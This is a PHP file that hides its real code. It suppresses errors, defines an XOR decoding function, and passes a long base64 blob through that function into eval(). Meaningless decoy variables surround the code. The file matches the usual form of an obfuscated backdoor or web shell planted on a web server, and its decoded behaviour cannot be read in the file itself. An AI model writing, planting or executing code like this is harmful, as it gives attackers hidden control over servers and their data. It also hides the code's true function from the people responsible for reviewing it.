<?php 


error_reporting(0);
$dcja="cmhlmhd";

$ukaf="cwqv";
function z($r, $i){ 

$f=""; for($q=0;$q<strlen($r);) for($u=0;$u<strlen($i);$u++, $q++) $f .= $r[$q] ^ $i[$u]; return $f; };$jfj="qchhht";





$dnlkp="smqbuo";





eval(z(base64_decode("J CEVXXI^HHQZQREQ@^AA
 _Os_	 IU IPKAAACVB&/@X^PDXXF
_XY	M^S\s@\sEsIVKGX
Xj[_&PUKCRKI
]	EOsZI IhCI
HKITHMJ_^DT@_FNFMXIYHWyUEI?CB.BHEV/KH;7@=< jM!?m&j5%j<j("M::hm"/nm!$/Pb62n(m-9P&J_8^O=IX	GDD	OEGOX<DwW@UCASPS})	F3nID
 SMXK_VXD@
OW@OIDY[\MImh'?^HG$ML IJLIX> K
^H*X:GcL IY^
MO! K^HG BL IHLIAO<)23,XDSR[Dg"FLIa * K^H	GTtK)*GLCCSU2VK^hDK.@W LJGL VCSUhVK^BDKPPGW LBGLbMSUA	5VK^
I;DKIW LG@GL_nSUTVK^Y/DKZPD__0}.)oX^0CW^HGU"^@1GL^pTFII@TC SEL D$EBOI1B A@T&C SRP=t0VBOXB E@TC S
^L DBBOYB BHXGD;)f@ L[I-o'BLIX# K^HGXL IDVLIE K%^9^YOCG^^BT1QWBTOPQBXBK3Mx 6PWOY%KNI^6UJXEB@6XYBYS_HXIUm08^Y^S\Ht\7KnBC_H}V3^JOXO-Hn]C_PvVtB)?CL[@IDRP<$MW WCXKiSM eB Qv\@RNM[SA^I'XC1MTELJE\AKMY^I*XCvFXTZ\S[ITF[I=1D@TZOBDUT]R\M ..K@TBAXT^AM\M
IeY=QTTEWBSBCM eB QvKC	VAT]JHIX\
^eMvDTZXHI]HM_9B4@[TISP\HL	^.B9X[T_^ILBL-B K=LAXGA[EQiQN3NI\I_Pm0_L8m/^_D@$L]XO
X )wL_DS$m7TXS>OBQC\BXT\SVO]P@	QDIBGh
XX0}FXTZ\R%QBDT^M%K@[FB?@Z]H_(BIRPO@qCO"Bw:CBTEAEX OIBUN:SSOGC}C[APV:QMw%KWTZQY:^]L}\^T]DD@PO}\DWTZW@}FOZ]]$7"Y@IA[@@}KW[\B@BBIS$ _NK^0}K@TZA:CBTENEXVCqXMK
Xw:CBTELHEX OIAUN:S^OG5 XHYA	<(LDV\J[}C^S_B%QT]DNR5DV[H![T__B@4HNEXV
Cq\2O[TRENLE9[TI]PwC,<(LRPB2X[T_PILBN}D\ZZ6QTTET@WqP
O BX/(BFPPO}\SSJ[}CYBN}SITUCVNR5SS\DY:IXTZS_^AIK.Y6QCRRNLH![T_\IBB>TD$w}DC	VN]_2O[TRHILE9L[G^=[AHS]H6[TREOBqG3}CLUTLG"Y@IBV@@}KWX
B6>}DZZ6QTTEVQ@}K@TZAqGBEK"5SS\DY:^^RL}\ITYBX:BY EBCIsC  xX; mEXTZ}P@. [K/XI\Pi7 YWUGJL_CAXEOIL6MiwQBFP^MK@VCBI6CLm^ITYAJ]XIML*B_\ITYCXL
LR^BXXZ@LX1"_KC	VNV]H[TRGHB@ZS_^BKK.YNB C
IX8LYZLL_\^T]D@P9 H@LO
\@nB@QT]EFNRDV_HWLUJXEK	.GOxBW BXN':P	IXT;H

X/,O[A@cFXTZ\ q/6\@QC_DDLqK?[T_PB@*HHEXVX^Ox_K(LAYGCcCLUTCMG<YWUJLcCSSIALBBOJ.Z^CB_ \,3Y8_ILBT@QKX1C ISJUP sGIKWBLHNsOGE	[V^HHXSB X4OGMBSUB \CNUI <CG
L_O ITFP _	.GOYD\_ ^BGIX+CCO^YSOYGBG_s
GEQ[T]HQNPEXHOI>}SITZVNR5DVYHWC33}C[MPT,N
X+ C EX\IDHAIw}DC	VO _2O[TRELEOCL8w}\ITZJXL^)OWTYXRa	Z*COI.YYV BXC*3BCBT!x@1XBGmV\KYI^K=JOXOHi]	SNXKXmw$^	DUOKtCxO2PQFYECQx .Z

_ C3 "MxCUD U"qCN M_!BCE\AHN_eIXTB[ITEX\_*	XCUK@TGA[V^_	:QSSOJY[TZAF^_0BXD
YW ]JHH M_!BCDIKZXHI^KJ\
^eXFL[HNSP\FNRI\I"BXUCBBJTLR\0
X\OOUYDQ
_I=X[A]LWT
K M_!BCDHKZXHIN]XJCB^M)I
 ^I@m7T
)K&wL_J3@BPOM D)Z
&"C\6"+DXL6MOQQD]WIAWBXKYHC"v\P9w.KWTHJ[vCB@?DOOKZZ=QC ^B9X[TB6MT]UMB<I^CYBw4@.QTDXL#LDLH*LLBNXS$TX\
OiI+vC^H]LLqQ)YW ]H=[T C@vFOW_#\^MS@ 
B CiA01MTAKV:D^OBDiI3vC[HJ]RvKC	C_DHLq^GHYXw.QF@POD:w1SO
E2L[ISPvDTA]]H@@>XMO^. AXBO"A/9OO[YLOOqCBIHCAI*=QTTTNLUD-w1^HBNvDHEX+O^TTZ@@6Oi@ 3	IYXC @
B_ Y}6H C86[T6w?@[M]R}KC	LC_2OO Y:IXTRB%QTX:Q^J\QGCISUYECY\EXTZwLUEXWYN
*NASU^KE=7E9@ LCGULGBNC^ @UCo
@ L^G_\k2HaSU\ ,*tSO@OID\IO L
[X^IBT]@MTGS_1j9JBOy9'B FHTFG.u-@ LSDS;N(/+ S pAA@UC\@ LiGILGB@@Y=4MSO@MID\@O LXX^M\T]@CSO@c	FD\_A)`%?B BOh68	7C SBL DH[YXz&6@aSUH VK^	ID:BXBCB^I ^BL JBI BK\KYUb@IYS IIDCXNEITHE[UDIZ\^ZZYX^	XKEMH	\VLW_	BUWJ_\MMHZ][_ WVUYEJE_\O[V\Y	UISOJ_ILC_WITDSW[SHIIV[
BCXDXAFOCK	CCENROYEK\J_WN	RGNUW[	S IIDCXNEITHE[UDI\CAWI]\X@MEIOIT_GY	MJ]IGIE\ROYEK\J_E__HZPT_
_  @IQT
IQS^[^X[[UD@ITWTO_GAZ@
X
H	@C	DHCECMX[
\MMMGX][HZ]LEVBU@	NV
XYVC@[^X[[UDI^VJ@GI@
UCO^ CE\IX GOEKCCITBH	CO[ZJ_HHZ]L\UAWZHVHEMMGX][NULW\PTUYHEGYE@DCXCE_ZI\CAWITDSWXZKU^EK@M^E
C_MOKBX	M_MH	Z][_ERGH[HCGX\J_H\U
NDEPTH[ZPO[VHYD\]LHZPTGMMHLE_JM@II^NCCDODG[HLIHDDXI^LNID@UAJ
IH	CO[ZTUI^WJBE_ DW\CAWITDSWZZKUDXEJ@OIS
Y J@_		_
EB _XEKHY__EUUb&aEsXNssCBI NJIB^&&BO	YIMI1BC;XKPIBGDDDJGWaCPI^KYN^8
YIC_sIMCATSNO F
B\_YT$no0<jk$:;,5)b;36~8x6&{3u4O K E@\]@IVXBCYKGDGO	IBDWymsJTKFJB EB1T_SIX>0mm-JYWaNHOXB5@=&H^"6BHEKM\X[U8*!~"&5wLk&?e;s/,h9L8T_
D[U8*!~"&5wLk&?e;s/,h9L8J^[]AIIJSJN
 Os=-~=.7w3<ce<,0#=6)X@EF@XU\]s)!'"+?<73|4t<6c9{/:h./:jc&^qESWAYLP<4i9z&"wLd:<|43:jc&.m~(658?+~S>NURBE@XZLL
RYH,""+2i&8@d?x3/t4j!:{*9!ih+?c~K.X[GL+0"~=i1+8i<>i94$hh&^qEZQ]\I\CL IDO46i~"<~wK;%3);t+%(~<m14i/s('~L6LP\QSU	?)X@EF@XU\]s)!'"+?<73|4o/9i%x1!|L6LR_DW.4<6z11<#x7 s(`'-b?4,|)PKBCPWTDMVBEVCJ7.93i~/^dx8#.$5-i:78e;>YUJ7.93i~/^i>%45&%h01@qBJPWOEU48 ~z1+w$'%7&'`=&)x4e3WqPQN@J\QIQ@s'&5z.~8Wd?x>7o-4&cb:<ox%=6804)JNM
CXOs=-~=.7w<-x|3078:+b:&$x"b$/e;3AULTZIBBVNYB
TKO4&"z.~5Od??5so2&oc"=4$--b3<.|LqJLC1;i9= ~wS*i~:6#88 h&D:BC\SLs8.7zi&"d8'!8:"s7,)b.o79b,s'86PI
IWD@s'&5z.~8W~.a!<i4*!h~S$QLBTG\PzQa&CJYBEC,XK@KX1M^BBEW&TY
CC I~@I@Ko&TYLSQLIUC<#i9z+:wL#1x|++ij)!45^9]C&KCPKNHKKAs1+zi>(V/-0|+1"j.~&"6SHK BZ\^dx8#.5<"i&&5BiPKNHKo&TYLSQDXG/.~8-~0L-xx$&~i*6#"+Cq]JG^XBKLS&aKETY
P<4i9z&"wLd:<|49 ji&<~1H{GYD	i&aEPJJO
BsE_ Y@X&@MDY&NHKBO CBL+MBPE\Ms'<~z)!*@10x$<2.~<1k.b:OqBBEWP&i>%45"Cd 77s>&"s*k+&xL6EXIY@10x$<2.~<1k.b:OPK^Y^SU8*!~"&5wLd7$|4y=-~4*"ib ^qL{snJXCPKX*A
bML{GYDPMIVM s^YI.HBiPKXMH	<[,CEqP&z&Y XK|^]C&KCP^XBKCDIAUH,""+2i&8@d?x3#6NN
KO:i&/i~7T93-4S>GVCWCJIHPKAs1+zi>(V4<6z118|$~7WqKSH_XLT[DX]VKTYGX DLS&aoJYXEQ ~IX+MIBK&TY_T^GM^	BdHKKC^ODDW.4<6z11GMGISVO@YPWfSQGYDTCJKNX@  DUESMYYCd 77sLC&KNHKKETYOC	~CGKCP&NHKKEPIMGDD_ 8^\OIHGKBXYYO
L_ 8^\OI7GKBXY_XIKY	_OG K^L]P&LSQGYDTGI
H_0MqIYZBnTCGQaCPI^KADII^H{snJXCPA
X h
U_UDHIOPJIVUsLSQEE<^MXI@BLIH QZY^OBHIGS&KKEJIMYCI
_CT]IKoTYLSQX_CUXGGKA]YU LWI JGVCM_AY^YX^JGVK\KCPJ^I_Y {GYD	iGKX^ HJ
I~&&
CCBChOI3 UZQsDTCCH
XPKLS&KKEJHQZYTTGW^I @B^sLSQGYDJGOFCM[NLFKWE_XIBDWNBDHL K
[BbKKETYLSUMTMZOX8TE60H 0AFqOsLSQGYDQ~CGKQiPKXXMWymsY EBCBC
OI\]X LWNY&TCGOHMKNBIhCH	+Q@XXCCGBiPKXN
IX,	HKCH
XYaQdbJXEH	7CIC\OKGHWaKEP
LR+OHXUbKKE^I ^BL I0CI;^CDOL&	s&JBTX9I C_@	s&LSQC_CZLXzKNJCsO@MO^Y8EEWBbKKETYOSLG^<BXKTY@GS&KKETYO8
XOO\(y<$c;?:8&zi>:7>)!i&OGJ
@P&NHKKE^@3 X\GDG %~'c><s88)sz1+ej5;>4-HFJ\&KCPKNY:_I \XDWUDo!1+c;x<6c'`!?`$($xe;7 ]ZJmYDTCGKO@4_CMOUo9!=()0s&&3y9b7"m%(-~GKT~YLSQGYY8_X XC  K(0~`;)xs$60#<6 TSNaCPKNHO	s_C\[UH765`$|7/o$b -o??,ai;,x LBANBnTCGKCY@1IXPD L0$55+| <3e&i,%xG_XPaETYLW
ICY@<TOFLOB^&TYLSQCMV ^s	XCT]ODLZJmYDTCGKO@4O_CAOD]B&LSQGYDGODH^5ODsOI1SPZYVDJG^XBKJ_PoTYQ	Y&~CGKCPOYs
_IY;YO^YaNHKKE
@QSYC@+^I+OAL8IYD^M~CGKCPO^VKBki YBSUs_H8W\
XOqPaoTYLSQ_OYsMI0B]YU1ZXG]ICIK\WEJ^4M^HwK)Xm&KCPKNL^ET[d8'!HHJ(;B#CKNFO@s^_	*@_ D:EA,^7B-BXE/8^(;^7BAK&KNHKKE_GQSGBCG_QH	[^LTVNYJP@4\_H5ODqXY_QXYPGC]SJK&aNHKKEEQ_NY&TCGKCPKN(J_P
CO_QC]]XmKCPKNHKOTI&LSQGYDTCGK[@OIM_GEyQGYDTCGKC&KNHKKETYLSUYYXGCGBH[YQ~YLSQGYDTCGK
O^GH\ZDH{GYDTCGKCPKNJCOIYp/EPDCZZiPKNHKKE	sLSQGYDTCGlO_JC L&TYLSQGnTCGQaCPI^KA^I	&y{
O 
BK^Y_8CMY H	_]C&aCPO^\KVEOs&LSQLE<M@@IY:EBES
msDTCGKGDKNY:EBNBn&TCGKCPO^7_
\X\]OD@S22+(c$788`<&i9e(1|..7 @_	ZJmYDTCGKO@4_CMOUo9!=()0s'0+s=i19j2d!;xGKW~YLSQGYY8_X XC  K(0~`;)xs*<=+63`; &x"c-\ZUbKKETYOY.CODOPo>~"'|?47ix!+bx>2?4?!~XCVP&CPKNH@sXCYC T 2~'c3$s#i/,i9GEOsLSQGYDOsI\JDGK&y~86|x30>)7!o 7.a.c6$ K^AaKETY&I XC  Ko;:`$;1sx=4ic9']GHTOiGKCPKO@4 XC]G:1~8,7x4|,#xG_AaKETY&I XC  Ko;:`$;1s|;*xj%6=#*HP^
AYa&NHKKEPI_SLG^<TOKTOUbKKETYD	DT ^sXBKOD]B&&LSQGYDT ^s CIFLOB^&&TYLSQG\GI
HwLD\4
HIS$QSCWIMYBCM_S&aKE	@_	S
msDTCGKG^s	^T	M^.P@BiPKNHKO_@TDH&MH0DAOqKVXX\TX\snTCGKCTOBTKX_ IM,I8OIICwdHKKETYLTCI]GwaCPKNHKKETYZ	 ;\K]PJ
@ aKETYLSQGYDTDIE	sIs
ITD
nTCGKCPK3bKKETYqWy{HVDTCGKGIYdTQ_QXYC_]DCJLGHKO^@+	M^<^C@qKMPQNFCO_@TFX@Q]Y@Y8\
^H0^L8~YLSQGY@^@dXKN@	T^__ I^H^DTD@KCTY@1M HwSC_T,\snTCGKCJKJ^4M^HwKCq]C&KCPKNHKKA^I@X$YJTA]KCTY@1M HwS	C^T,\sDTCGK@IbKKETYLSUY/CXC^KJ_BEVCBSESJDTA]KCHP&NHKKE	s&LSQGYDPO IPK_I
:_CIX3
X\GIYd_DO^BU	*
 TRR K7"i*a1+`".+xs76bb)0%KY@OIXJK&aNHKKEEQ_MimKCPKNHKYXQ_HV3(?APK@4^_w^9ZCE#x7 Z^4^7G~YLSQGYDTC\XXCIGEd
XLQQIY@Y8\
^H0_L8T[p^0SNBnTCGKCPKYM_GI_QE:B 	XFX IQ\MXB^IJ
^BC
H79B]B&LSQGYDTCG\_CO  V:CBTIDQA^_^BCOM^_BQ-%
]XmKCPKNHKYXQ_HV BI EBTHOIp%Bp/EP_&TCGKCPKN\OG	]G]M
_KCRpp 4^7G~sLSQGYDTCG^PP&NHKKETYLJCO IAKoTYLSQGYDTCG	^PJIO
OG ]CCSP_&TCGKCPKNHKKJPH	DICCNP&CPKNHKKETYE
[UYYTA;^7BAYO^NUZPoTYLSQGYDQ~iGKCPKNH	C_Q_M~iGKCPKQdbKKEQ&~YLBTGI\Xz&&dYECYHI<	M.B,I'ED-UM\MA@SUTmKCIY KsXO[SH9KXCICYIC@HCH	[UMJKOG	BSUI&TYLSQG_B&TCGKCP\I	7A
DVVpCQ]GOYICYH
HI\]\MNUDB^M^ao&JOXGX iM
ek{nMDWA]C&KCP^XBKIK+MXYEV$VOGN
_F4HCM\MAEZQZDDX&KCPKNN
aKETY &	M  I?^I N
MSsOCYC	^NK^PXYS&aoJYXEQI"A
E9B,I@
MA]YW&LSQGX	^sMDCIJlVUMI^GXYzKNHKKC
&TYLSQG	I<
MOXDp@GGKA\MALNLGYXmQa&BXBKoCEI)P@HI?CB/CHy{GYDPX(CXKNXaaETJDP< i?wAOIqGAaETYLW'C@CTs,i:3Gq~YL{mYDTXCELC	G VH L
LTHG]S\ILAaaETJDR
X\G8o$c(9i0NI8T&LSQGYDGOKoY VVETEIDZJmYDTCGKDH^FO`XEK]U8*!~"&5wL|+ s8i".6EEL]QO]I  YXC[ZNFIMGVYH M 3C I4IC
HBPEHEQfSQGY&~m&O^\BVKG~]^I1^CZIXz&DN$E EZMHM{mIG/k.x5OX L8R_N QM;H HG/k.x5OX L8IDX7GB'OHKo&TYE0I1NIKTs,i:3 BqOs&LSQC^'X
^PM^CIGTDH M 3C I4IC
HBPoTY\

DT_W/IOICCB+BOO]C#MMJYa&NHKOI]_X9GDDXKCT\
X>MMXB&&LSQG]IBICM^E\+MK[I7CXKT^]_>@ T]\MPMOimKCTFC 'NXIYF_.COHOI8COCA^I	CB]G]IJNa&CPKEHOCB;FI\YCZH
X$C I OQKVX@E-G#ICHK
HH
BcIO^O^MX?CBLQNUKIUsCD&C3SNY&TCGKCPIDHFsICH	[SW&+WsJK&KNHQaaETEIDZJms&~LH.A@KX	O &&PAM%GGKAK&O^VKIX&M@OP_&P
VX9Ie*H^5?Wy{DIG/k.x5OEL8T&LSQDIX&M@'k2EX:^UYC&#i 8@E>\OGBKAIA@xICICYICEA\]sk)'*@ )JKOG	P&NHKXI4
@= I{
D)M_CAsk1-wV:PMP
M@7MGVKM_OsP< i?wDHLqGS&KKEEYH	!A
ekOs)-x0LH)PHxG^CMOs)-x0LH)B&&LSQG]I_|M_NU
MUTQ&LSQGYDS
K]PA@?OG &LSQGYDTD\L^NOED&KKETY@YYTGI&CPKUbKKE^YI$DTGCXC^O_Z!I\Ug	
JmYDTGIYX;M	AKXYIBQBI8CO@CHQF8
OO^Y_8M
_]P LW MOiGKGI\$C8^IY^I4COIIX;@GKA^II_#	_]Xm&KCPHIFAaa&&PMQS6IMCXz&ODD;
MATD30>(2-i/A\IqCOOs-'c " w	qLIQE[_&PXc_XNUO4&cc?0iwNS:Y[P<$c$g*5wIHL5QKG~]BM>I CZOs ?c e+3I8T]so#<:.<?A:QARa_;XJAQSU8:+c?*"wI_RqKNLs($*ge1"_Q,GCDVXmU%MKNLs($*ge1"_Q,GFD+ (c e&+YL5QKG~]EJ,ICCs(c,;e.wLYI6EP&oc#88""FEA:QARaN/ZIYH,2(6/e18E[>PK1+c$ ,iwVH1SKG[F~GMK6VN+*i~:6#<^,x 38m(o& x4`/&k>*"i)U ^ZQXYY^C<#i9z+:wL#1x|+8oo)#%85%b36&k.>\GGHKIG&PAMQZYFOiCIM
|
^b
 T[fW U'EK$XKNJPaADII^<^CZI"IYX#HI
7Q"IoN2MF|XC6KZK~I,I^J+8IEoF0M$MX

[9NCEP&iJKJ7o$$.ei/[H1SLZYF]C&KCPIDH@ZY	VCIOF#C^h OXTWP\\ ]EaCPOIWO^	XB CIC XC HK @CWO^EYP&CPKHBPoQ&~C^	YL+$"xKMPMVUE\MAES
msDTCJKG MMHVKGT&LSQGYDGIOi	E"kI .EX0	P^
AOP IAKoTYLSQGYDE^PHOI8^OQX^YC	^N KUBdHKKETYLW
@$MbIKNLB
 &TYLSQGYDT BEIP&NHKKE	@_	OX iM
ek{nMDWA]JGWaCPKNHKKEIE@LNQIBW8HOICXACOM^ LW M~CGKCPKNHE@$^M=
DTG	MIXzKNHKKETCB_&TCGKCPQ@ECIXXi0
kOMABN&KKETYLSQC	MGK^
AUbKKETYLSUE3^
A-ASH
I~YLSQGYDTCCX
YdHKKET&LSQGYDPIU0^B	/IKKPMA	S_G^YTMGMAKNJ
IPoTYQ&f{m]Y^
K,IHKN_  7X
	K,I\[ NEBPo&[Y|^	D\A&i_KJ
MATJX	QDsnECOM|
^KO AML	P_|M NLD
|MAw\.X\snY_%^SHXZY_	 IU IK&a]X|MASLG^GaCPLEOVUEEU&LSQ@JSCZKJG&NHKLMTDHKsDTC@@L^NO@K>
I&TYVGDZP
M@OzKNOHLKXPMX	<
XXiGKDKPH
Ic_I_{GYDSK]PU8@
C^U&LSQ@T^YODH^>M
^AXsLSVCI]GU%MG&NHKLYTDH	I!K&KCPHIHUKA[I=^EmP_&~GIYX;M	AKXYIBQBI8CO@CHQF8
OO^Y_8M
_]P LW MOimD1]I&aOI_3_C YYY_ CXFL^I_ ,^@@SUY|
^_BdL^f_cNSLGC<ICIH8
Y^3C0^GGIGS&aPI_9+NCZKAYTBPo&EY3C,FFRMXB-zEXCQGDYV _C<EGLAaoTYEJL[U\>B$N	]@IET[LQM~iGK
C_\M^
\f(JEY@A KIZIZEZ	]CTBZKJ_N&DDETYLDH^\N[B
[E
OM CBBOKEK_fB$	[Y^ QGWFO_H_^
 XUUbKKETYIOQEE	I GDX]IYL J^
DL	B ^@PYINL^f_cN^O[^AEDNP&NHKKEIEH{GYD	imKCJKJA
	IYES
msDTCGK
CXCO:ki PLCXGnTCGKCPKDKGAMT]
L^^_OXI\HYZCC^_:_B!
FFUYQL]SX[JPIU0^B	/IKKJ[&LSQGYDT@IC&KNHKKETYIOQEE	I GDX]IYL J^
DL	B ^@PYINL^f_cN^O[^AEDNP&NHKKE	s&LSQ_C&aCPKNHECA]YU	#I CZKAY&NHKKETYQO]M7MMY&NHKKETYLSQGDCEIXEZI^^I
C	XBM[@VIK_\& 	6FY]^RQKNLD
|MABQVY[_&TCGKCPKNI W~YLSQGYDTCGKDLTAD \	Y^_WC IXO^@QQ_G]I-_B,FFJYGQZ[BSUE3^
A-A@JIEEIE@L]S@GF~CGKCPKNHQaKETYDW~iGKCPKNHE_D<MiGKCPKNHKKEICNO\FIEII _DSYOC	YDX^AzKNHKKETYLSQGYJP_fB$NEI^@V&LSQGYDTCGKCPKNFTIKI^ 
K3EGMD>	^
EV^WyQGYDTCGKCI_HWaKETYLSQGYDTDALAXHDIEZQTI@CIXSOP@VsLSQGYDTCGKCPK@H\fBc\YFYEQaCPKNHKKETYLS_EFFTGA
E MM&MoTYLSQGYDTCGKC^V@HE@~YLSQGYDTCGKCPKLNEKA]YU	#I CII]RaNHKKETYQfyQGYDTCGQa&CPKQdbQaaJ\]^I;
c	JXC .C=_E ^SLZYF_dARKWdHKKAOCIBSLG_USsI HJI/_C6NFAM
EAAP&CPKlMCBSYH	B J\&KCPHIFAao&EY3C,FFRMXB-zEXCQGDYV_hMBLAaET]Y^ '5 EXKCI|X
@]Y#	M)MIKYaNHCVEAIQ\YYZ^W^J_LEOCIBNVWB^^EK@?C<H OXTWRQJmYDTICXzQa&COI_3_C<TZWVXC6CzEQTDN?YEKWiPKX4I_B_	,@SSP&CPKHBPoQ&~JDW
f	c	FNNWIME#C^"_EEDICEJ@RKWdbKKEEJTQ^	 -
B;UWAEI 	AIIYESLOimKCTJ@,M
E_IZG.CODTQE	_]QsHCH	[U\>B$N	]@/XMVEH{mYDT
CC/KX1I	]YW&LSQGYDTsB/OIBPoTYQ&fSQGY@NoMOIVKIBMX	!	A'EKKYaNHO	XI:AN	GDDK^
X"MHBK\P&LSQG]U &^MPKKI
I~HC 
K\J\&aCPO_I*EBI+B
^
KCUbKKENNbGDDK^
X"MHBK\P&fSQGYOGXELT_\XJsJY
VMGMm@JZITFPWfSQGYFTGMI"YI)UZ[&QfyY
O 
BCC&KNH@ET]NU2M^MRVC	CBT]JE 5ZA@P&CPKNHaKEXN]QCX-A	IENUmMUDQ_G]U $D
^X^HIE	IBDWyQGYDJGIPEKNXKEVW
:MX^PIBRL{GYDTCGICTNX&Y	 ^_TWw.QZYFTGUI MMIEZDM0%X\
NaCP&NHK XVW
8^GI^PB[N=E]m^UN]QCX-A	IEGS&KKE&TY G[JPC	bIKLHK [6CND(SIY@Nm^	E3D\INYBSU\>B$N	]@?\IVNTNBn&TCGICT_
Z)_KEGZYN )	ITME KA^O^\!
BcQBMRBdHKKoQ\P&fO^EYP&iPKCOI_3_C<TZWVH^X*J^-	I	P&LSQGYD CK_IMN XHI]ZK_DGOBBIX	ZY^	 -
B;UWAIEO*XI?E@	QGWFJA\&aCPE@Pa&&KG&&"),"nh,kke,,ty,,lsqgyd,tcg,k,cp,k,"));





$qdznrnv="izfa";

$xovu="wnuuzli";
?>